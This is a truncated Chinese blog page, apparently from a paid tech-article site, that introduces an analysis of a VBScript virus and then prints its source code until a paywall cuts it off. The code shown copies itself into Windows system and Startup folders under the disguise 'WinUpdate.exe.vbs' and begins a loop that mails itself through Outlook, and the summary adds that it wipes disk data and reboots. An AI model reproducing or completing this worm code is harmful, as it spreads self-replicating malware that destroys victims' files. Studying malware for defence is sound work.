该博客详细解析了一段VBScript病毒代码，病毒通过复制自身到系统关键位置，利用Outlook发送带有恶意附件的邮件，并执行清理硬盘数据及重新启动计算机的操作。博主探讨了病毒的运行机制和可能的危害，并提醒读者注意防范此类威胁。
，，，，
On Error Resume Next
Set fs=CreateObject("Scripting.FileSystemObject")
Set dir1=fs.GetSpecialFolder(0)
Set dir2=fs.GetSpecialFolder(1)
Set so=CreateObject("Scripting.FileSystemObject")
next
On Error Resume Next
dim r
Set r=CreateObject("Wscript.Shell")
so.GetFile(WScript.ScriptFullName).Copy(dir1&"\WinUpdate.exe.vbs")
so.GetFile(WScript.ScriptFullName).Copy(dir2&"\WinUpdate.exe.vbs")
so.GetFile(WScript.ScriptFullName).Copy(dir1&"\Start Menu\Programs\Startup\Win32system\WinUpdate.exe.vbs")
so.GetFile(WScript.ScriptFullName).Copy(dir1&"\Start Menu\Programs\启动\WinUpdate.exe.vbs")
next
On Error Resume Next
Set ol=CreateObject("Outlook.Application")
For x=1 To 50
Set Mail=ol.CreateItem(0)
M
最低0.47元/天 解锁文章
286
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
